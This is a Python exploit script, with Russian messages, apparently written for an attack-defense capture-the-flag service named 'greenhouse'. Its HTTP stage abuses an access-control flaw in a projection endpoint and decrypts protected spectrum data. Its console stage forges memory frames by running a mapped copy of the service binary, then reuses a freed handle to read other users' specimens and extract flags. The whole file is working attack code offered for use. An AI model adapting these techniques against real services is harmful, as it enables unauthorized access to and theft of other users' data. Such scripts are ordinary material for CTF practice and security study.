475 lines
18 KiB
Python
475 lines
18 KiB
Python
#!/usr/bin/env python3
|
|
|
|
from __future__ import annotations
|
|
|
|
import ctypes
|
|
import hashlib
|
|
import json
|
|
import mmap
|
|
import os
|
|
import platform
|
|
import re
|
|
import stat
|
|
import struct
|
|
import sys
|
|
import time
|
|
from pathlib import Path
|
|
from urllib.error import HTTPError, URLError
|
|
from urllib.parse import quote, urlsplit, urlunsplit
|
|
from urllib.request import Request, urlopen
|
|
|
|
TARGET_SCHEME = "http"
|
|
SERVICE_PORT = 8080
|
|
REQUEST_TIMEOUT = 1.25
|
|
RUN_TIMEOUT = 8.5
|
|
HTTP_BUDGET = 3.0
|
|
PLOT_LIMIT = 12
|
|
SPECIMEN_LIMIT = 12
|
|
MAX_RESPONSE = 1 << 20
|
|
USER_AGENT = "orbita-orangery/1.1"
|
|
ANCHOR_ID = "public"
|
|
ANCHOR_KEY = "visitor"
|
|
BAD_KEY = "0" * 32
|
|
CALIBRATION_VALUE = "greenhouse-calibration"
|
|
CONSOLE_SHA256 = "e56276dbd4ee50b3e40a090d5b55bd272e9803a2f6d4e9576defdaea8e0f1b51"
|
|
FRAME_SIZE = 0x90
|
|
FIRST_OFFSET = 0x4C80
|
|
FINAL_OFFSET = 0x4D00
|
|
NAME_OFFSET = 0x4DA0
|
|
FUNCTION_TABLE_OFFSET = 0x3E0B6A8
|
|
FUNCTION_COUNT = 160
|
|
FLAG_PATTERN = re.compile(r"[A-Z0-9]{31}=")
|
|
|
|
|
|
class Deadline:
|
|
def __init__(self, seconds: float | None = None, end: float | None = None):
|
|
self.end = end if end is not None else time.monotonic() + float(seconds)
|
|
|
|
def timeout(self) -> float:
|
|
remaining = self.end - time.monotonic()
|
|
if remaining <= 0:
|
|
raise TimeoutError("лимит времени исчерпан")
|
|
return min(REQUEST_TIMEOUT, max(0.05, remaining))
|
|
|
|
def child(self, seconds: float) -> Deadline:
|
|
return Deadline(end=min(self.end, time.monotonic() + seconds))
|
|
|
|
|
|
def base(target: str) -> str:
|
|
raw_target = target.strip()
|
|
if not raw_target:
|
|
raise ValueError("пустой адрес цели")
|
|
if "://" in raw_target:
|
|
raw_url = raw_target
|
|
else:
|
|
authority = raw_target
|
|
if authority.count(":") > 1 and not authority.startswith("["):
|
|
authority = f"[{authority}]"
|
|
raw_url = f"{TARGET_SCHEME}://{authority}"
|
|
parsed = urlsplit(raw_url)
|
|
if parsed.scheme not in {"http", "https"} or not parsed.hostname:
|
|
raise ValueError("ожидается адрес HTTP-сервиса")
|
|
if parsed.username or parsed.password or parsed.path not in {"", "/"}:
|
|
raise ValueError("укажите только адрес цели без учетных данных и пути")
|
|
if parsed.query or parsed.fragment:
|
|
raise ValueError("адрес цели не должен содержать query или fragment")
|
|
port = parsed.port
|
|
if port is None:
|
|
if "://" in raw_target:
|
|
port = 443 if parsed.scheme == "https" else 80
|
|
else:
|
|
port = SERVICE_PORT
|
|
if not 1 <= port <= 65535:
|
|
raise ValueError("порт должен быть от 1 до 65535")
|
|
hostname = parsed.hostname
|
|
host = f"[{hostname}]" if ":" in hostname else hostname
|
|
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", ""))
|
|
|
|
|
|
def request_json(url: str, deadline: Deadline, payload: dict | None = None) -> dict:
|
|
headers = {"User-Agent": USER_AGENT, "Accept": "application/json"}
|
|
body = None
|
|
method = "GET"
|
|
if payload is not None:
|
|
body = json.dumps(payload, separators=(",", ":")).encode()
|
|
headers["Content-Type"] = "application/json"
|
|
method = "POST"
|
|
request = Request(url, data=body, headers=headers, method=method)
|
|
with urlopen(request, timeout=deadline.timeout()) as response:
|
|
raw = response.read(MAX_RESPONSE + 1)
|
|
if len(raw) > MAX_RESPONSE:
|
|
raise ValueError("ответ сервиса слишком большой")
|
|
data = json.loads(raw.decode("utf-8", errors="replace"))
|
|
if not isinstance(data, dict):
|
|
raise ValueError("ожидался JSON-объект")
|
|
return data
|
|
|
|
|
|
def keystream(plot_id: str, size: int) -> list[int]:
|
|
out: list[int] = []
|
|
counter = 0
|
|
while len(out) < size:
|
|
out.extend(hashlib.sha256(f"orbita-spectrum:{plot_id}:{counter}".encode()).digest())
|
|
counter += 1
|
|
return out[:size]
|
|
|
|
|
|
def recover_archive(plot_id: str, samples: list[int]) -> str:
|
|
salt = keystream(plot_id, len(samples))
|
|
previous = 0
|
|
raw = bytearray()
|
|
for value, offset in zip(samples, salt):
|
|
if not isinstance(value, int) or not 0 <= value < 257:
|
|
raise ValueError("неожиданный сэмпл спектра")
|
|
byte = (value - previous - offset) % 257
|
|
if byte > 255:
|
|
raise ValueError("некорректный байт спектра")
|
|
raw.append(byte)
|
|
previous = value
|
|
return raw.decode("utf-8", errors="replace")
|
|
|
|
|
|
def recover_http(root: str, deadline: Deadline) -> list[str]:
|
|
loot: list[str] = []
|
|
listing = request_json(f"{root}/api/plots", deadline)
|
|
plots = listing.get("plots", [])
|
|
if not isinstance(plots, list):
|
|
raise ValueError("некорректный список участков")
|
|
targets = []
|
|
for item in plots:
|
|
if not isinstance(item, dict) or not item.get("id"):
|
|
continue
|
|
plot_id = str(item["id"])
|
|
if plot_id != ANCHOR_ID:
|
|
targets.append((plot_id, item))
|
|
for plot_id, public in targets[:PLOT_LIMIT]:
|
|
for field in ("name", "cultivar"):
|
|
value = public.get(field)
|
|
if isinstance(value, str) and value:
|
|
loot.append(value)
|
|
denied = 0
|
|
target_param = quote(f"{ANCHOR_ID}#{plot_id}", safe="")
|
|
try:
|
|
data = request_json(
|
|
f"{root}/api/projection?target={target_param}&key={ANCHOR_KEY}", deadline
|
|
)
|
|
projection = data.get("projection")
|
|
note = projection.get("biometric_note") if isinstance(projection, dict) else None
|
|
if isinstance(note, str) and note:
|
|
loot.append(note)
|
|
except HTTPError as exc:
|
|
denied += exc.code == 403
|
|
if exc.code != 403:
|
|
print(f"projection {plot_id}: HTTP {exc.code}", file=sys.stderr)
|
|
except (URLError, TimeoutError, ValueError, OSError) as exc:
|
|
print(f"projection {plot_id}: {exc}", file=sys.stderr)
|
|
|
|
try:
|
|
data = request_json(f"{root}/api/spectrum?plot={quote(plot_id, safe='')}", deadline)
|
|
samples = data.get("samples")
|
|
if isinstance(samples, list) and samples:
|
|
loot.append(recover_archive(plot_id, samples))
|
|
except HTTPError as exc:
|
|
denied += exc.code == 403
|
|
if exc.code != 403:
|
|
print(f"spectrum {plot_id}: HTTP {exc.code}", file=sys.stderr)
|
|
except (URLError, TimeoutError, ValueError, OSError) as exc:
|
|
print(f"spectrum {plot_id}: {exc}", file=sys.stderr)
|
|
|
|
try:
|
|
data = request_json(f"{root}/api/telemetry?plot={quote(plot_id, safe='')}", deadline)
|
|
telemetry = data.get("telemetry")
|
|
if isinstance(telemetry, list):
|
|
for row in telemetry:
|
|
if not isinstance(row, dict):
|
|
continue
|
|
for field in ("kind", "value"):
|
|
value = row.get(field)
|
|
if isinstance(value, str) and value:
|
|
loot.append(value)
|
|
except HTTPError as exc:
|
|
if exc.code != 403:
|
|
print(f"telemetry {plot_id}: HTTP {exc.code}", file=sys.stderr)
|
|
except (URLError, TimeoutError, ValueError, OSError) as exc:
|
|
print(f"telemetry {plot_id}: {exc}", file=sys.stderr)
|
|
|
|
if denied == 2:
|
|
break
|
|
return loot
|
|
|
|
|
|
def binary_path() -> Path:
|
|
here = Path(__file__).resolve().parent
|
|
candidates = (
|
|
here / "native" / "greenhouse-console",
|
|
here / "greenhouse-console",
|
|
here.parent / "greenhouse" / "native" / "greenhouse-console",
|
|
)
|
|
for candidate in candidates:
|
|
if candidate.is_file():
|
|
return candidate
|
|
raise FileNotFoundError("рядом со сплоитом нет greenhouse-console")
|
|
|
|
|
|
def file_sha256(path: Path) -> str:
|
|
digest = hashlib.sha256()
|
|
with path.open("rb") as stream:
|
|
while chunk := stream.read(1 << 20):
|
|
digest.update(chunk)
|
|
return digest.hexdigest()
|
|
|
|
|
|
class CanaryEngine:
|
|
def __init__(self, path: Path):
|
|
if platform.machine().lower() not in {"x86_64", "amd64"}:
|
|
raise OSError("canary-движок требует x86-64")
|
|
if struct.calcsize("P") != 8 or sys.byteorder != "little":
|
|
raise OSError("canary-движок требует 64-битный little-endian Python")
|
|
if file_sha256(path) != CONSOLE_SHA256:
|
|
raise ValueError("неизвестная версия greenhouse-console")
|
|
with path.open("rb") as stream:
|
|
self.image = mmap.mmap(
|
|
stream.fileno(),
|
|
0,
|
|
flags=mmap.MAP_PRIVATE,
|
|
prot=mmap.PROT_READ | mmap.PROT_WRITE | mmap.PROT_EXEC,
|
|
)
|
|
self.address = ctypes.addressof(ctypes.c_char.from_buffer(self.image))
|
|
for index in range(FUNCTION_COUNT):
|
|
offset = FUNCTION_TABLE_OFFSET + index * 8
|
|
target = struct.unpack_from("<Q", self.image, offset)[0]
|
|
struct.pack_into("<Q", self.image, offset, self.address + target)
|
|
binary_function = ctypes.CFUNCTYPE(
|
|
ctypes.c_uint64, ctypes.c_uint64, ctypes.c_uint64
|
|
)
|
|
ternary_function = ctypes.CFUNCTYPE(
|
|
ctypes.c_uint64, ctypes.c_uint64, ctypes.c_uint64, ctypes.c_uint64
|
|
)
|
|
name_function = ctypes.CFUNCTYPE(
|
|
ctypes.c_uint64, ctypes.c_uint64, ctypes.c_uint64, ctypes.c_char_p
|
|
)
|
|
self.first = binary_function(self.address + FIRST_OFFSET)
|
|
self.final = ternary_function(self.address + FINAL_OFFSET)
|
|
self.name = name_function(self.address + NAME_OFFSET)
|
|
|
|
def close(self) -> None:
|
|
del self.first
|
|
del self.final
|
|
del self.name
|
|
self.image.close()
|
|
|
|
def recover_secret(self, specimen_id: int, frame: bytes) -> int:
|
|
if len(frame) != FRAME_SIZE or frame[40] != 1:
|
|
raise ValueError("калибровочный frame недействителен")
|
|
stored_id, stored_first = struct.unpack_from("<QQ", frame, 8)
|
|
if stored_id != specimen_id:
|
|
raise ValueError("идентификатор frame не совпал")
|
|
return stored_first ^ self.first(specimen_id, 0)
|
|
|
|
def forge(self, specimen_id: int, secret: int, magic: bytes) -> bytes:
|
|
name = f"specimen-{specimen_id}".encode()
|
|
if len(name) >= FRAME_SIZE - 41:
|
|
raise ValueError("слишком длинное имя specimen")
|
|
first = self.first(specimen_id, secret)
|
|
name_check = self.name(specimen_id, first, name)
|
|
final = self.final(specimen_id, name_check, secret)
|
|
frame = bytearray(FRAME_SIZE)
|
|
frame[:8] = magic
|
|
struct.pack_into("<QQQ", frame, 8, specimen_id, first, name_check)
|
|
struct.pack_into("<Q", frame, 32, final)
|
|
frame[40] = 1
|
|
frame[41:41 + len(name)] = name
|
|
return bytes(frame)
|
|
|
|
|
|
class Console:
|
|
def __init__(self, root: str, deadline: Deadline):
|
|
self.root = root
|
|
self.deadline = deadline
|
|
data = request_json(f"{root}/api/console/open", deadline, {})
|
|
session = data.get("session")
|
|
if not isinstance(session, str) or not re.fullmatch(r"[0-9a-f]{32}", session):
|
|
raise ValueError("консоль не выдала сеанс")
|
|
self.session = session
|
|
|
|
def command(self, command: str) -> str:
|
|
data = request_json(
|
|
f"{self.root}/api/console/command",
|
|
self.deadline,
|
|
{"session": self.session, "command": command},
|
|
)
|
|
reply = data.get("reply")
|
|
if not isinstance(reply, str):
|
|
raise ValueError("консоль не вернула строку")
|
|
return reply
|
|
|
|
def close(self) -> None:
|
|
try:
|
|
request_json(
|
|
f"{self.root}/api/console/close",
|
|
Deadline(seconds=0.4),
|
|
{"session": self.session},
|
|
)
|
|
except (HTTPError, URLError, TimeoutError, ValueError, OSError):
|
|
pass
|
|
|
|
|
|
def cache_path(root: str) -> Path:
|
|
directory = Path("/tmp/greenhouse")
|
|
directory.mkdir(mode=0o700, parents=True, exist_ok=True)
|
|
os.chmod(directory, 0o700)
|
|
name = hashlib.sha256(root.encode()).hexdigest()[:24] + ".json"
|
|
return directory / name
|
|
|
|
|
|
def load_calibration(root: str) -> tuple[int, str] | None:
|
|
path = cache_path(root)
|
|
try:
|
|
info = path.lstat()
|
|
if not stat.S_ISREG(info.st_mode) or info.st_mode & 0o077:
|
|
return None
|
|
data = json.loads(path.read_text(encoding="utf-8"))
|
|
specimen_id = data.get("id")
|
|
key = data.get("key")
|
|
if isinstance(specimen_id, int) and specimen_id > 0 and isinstance(key, str):
|
|
if re.fullmatch(r"[0-9a-f]{32}", key):
|
|
return specimen_id, key
|
|
except (FileNotFoundError, OSError, ValueError, json.JSONDecodeError):
|
|
return None
|
|
return None
|
|
|
|
|
|
def save_calibration(root: str, specimen_id: int, key: str) -> None:
|
|
path = cache_path(root)
|
|
flags = os.O_WRONLY | os.O_CREAT | os.O_TRUNC
|
|
if hasattr(os, "O_NOFOLLOW"):
|
|
flags |= os.O_NOFOLLOW
|
|
descriptor = os.open(path, flags, 0o600)
|
|
try:
|
|
os.fchmod(descriptor, 0o600)
|
|
with os.fdopen(descriptor, "w", encoding="utf-8", closefd=False) as stream:
|
|
json.dump({"id": specimen_id, "key": key}, stream, separators=(",", ":"))
|
|
finally:
|
|
os.close(descriptor)
|
|
|
|
|
|
def parse_handle(reply: str) -> int | None:
|
|
match = re.fullmatch(r"FRAME ([0-9]+)", reply)
|
|
return int(match.group(1)) if match else None
|
|
|
|
|
|
def dump_authorized(console: Console, specimen_id: int, key: str) -> tuple[int, bytes] | None:
|
|
handle = parse_handle(console.command(f"OBSERVE {specimen_id} {key}"))
|
|
if handle is None:
|
|
return None
|
|
reply = console.command(f"DUMP {handle}")
|
|
match = re.fullmatch(r"FRAMEHEX ([0-9a-fA-F]{288})", reply)
|
|
if match:
|
|
return handle, bytes.fromhex(match.group(1))
|
|
try:
|
|
console.command(f"DROP {handle}")
|
|
except (HTTPError, URLError, TimeoutError, ValueError, OSError):
|
|
pass
|
|
return None
|
|
|
|
|
|
def get_calibration(
|
|
console: Console, root: str, specimen_ids: list[int]
|
|
) -> tuple[int, int, bytes]:
|
|
cached = load_calibration(root)
|
|
if cached is not None and cached[0] in specimen_ids:
|
|
dumped = dump_authorized(console, *cached)
|
|
if dumped is not None:
|
|
return cached[0], dumped[0], dumped[1]
|
|
reply = console.command(f"SOW {CALIBRATION_VALUE}")
|
|
match = re.fullmatch(r"SOWN ([0-9]+) ([0-9a-f]{32})", reply)
|
|
if not match:
|
|
raise ValueError("SOW не вернул калибровочную запись")
|
|
specimen_id = int(match.group(1))
|
|
key = match.group(2)
|
|
save_calibration(root, specimen_id, key)
|
|
dumped = dump_authorized(console, specimen_id, key)
|
|
if dumped is None:
|
|
raise ValueError("не удалось получить калибровочный frame")
|
|
return specimen_id, dumped[0], dumped[1]
|
|
|
|
|
|
def recover_native(root: str, deadline: Deadline) -> list[str]:
|
|
console = Console(root, deadline)
|
|
try:
|
|
listing = console.command("LIST")
|
|
fields = listing.split()
|
|
if not fields or fields[0] != "PLOTS":
|
|
raise ValueError("LIST вернул неожиданный ответ")
|
|
specimen_ids = sorted(
|
|
{int(field) for field in fields[1:] if re.fullmatch(r"[0-9]+", field)},
|
|
reverse=True,
|
|
)
|
|
if not specimen_ids:
|
|
return []
|
|
engine = CanaryEngine(binary_path())
|
|
try:
|
|
calibration_id, calibration_handle, calibration_frame = get_calibration(
|
|
console, root, specimen_ids
|
|
)
|
|
secret = engine.recover_secret(calibration_id, calibration_frame)
|
|
console.command(f"DROP {calibration_handle}")
|
|
loot: list[str] = []
|
|
victims = [item for item in specimen_ids if item != calibration_id][:SPECIMEN_LIMIT]
|
|
for specimen_id in victims:
|
|
frame = engine.forge(specimen_id, secret, calibration_frame[:8])
|
|
handle = parse_handle(console.command(f"OBSERVE {specimen_id} {BAD_KEY}"))
|
|
if handle is None:
|
|
continue
|
|
if console.command(f"DROP {handle}") != "DROPPED":
|
|
continue
|
|
if not console.command(f"FILL {frame.hex()}").startswith("POLLEN "):
|
|
continue
|
|
reply = console.command(f"VIEW {handle}")
|
|
if reply == "ERR denied":
|
|
break
|
|
if reply.startswith("SPECIMEN "):
|
|
value = reply[len("SPECIMEN "):]
|
|
if value and value != CALIBRATION_VALUE:
|
|
loot.append(value)
|
|
return loot
|
|
finally:
|
|
engine.close()
|
|
finally:
|
|
console.close()
|
|
|
|
|
|
def run_exploit(target: str) -> list[str]:
|
|
root = base(target)
|
|
deadline = Deadline(seconds=RUN_TIMEOUT)
|
|
loot: list[str] = []
|
|
try:
|
|
loot.extend(recover_http(root, deadline.child(HTTP_BUDGET)))
|
|
except (HTTPError, URLError, TimeoutError, ValueError, OSError) as exc:
|
|
print(f"HTTP-канал: {exc}", file=sys.stderr)
|
|
try:
|
|
loot.extend(recover_native(root, deadline))
|
|
except (HTTPError, URLError, TimeoutError, ValueError, OSError) as exc:
|
|
print(f"console-канал: {exc}", file=sys.stderr)
|
|
flags = (flag for item in loot for flag in FLAG_PATTERN.findall(item))
|
|
return list(dict.fromkeys(flags))
|
|
|
|
|
|
def main() -> int:
|
|
if len(sys.argv) != 2:
|
|
print(f"Использование: {sys.argv[0]} HOST", file=sys.stderr)
|
|
return 2
|
|
try:
|
|
loot = run_exploit(sys.argv[1])
|
|
except (ValueError, OSError) as exc:
|
|
print(f"Ошибка цели: {exc}", file=sys.stderr)
|
|
return 1
|
|
for item in loot:
|
|
print(item, flush=True)
|
|
print(f"собрано флагов: {len(loot)}", file=sys.stderr)
|
|
return 0
|
|
|
|
|
|
if __name__ == "__main__":
|
|
raise SystemExit(main())
|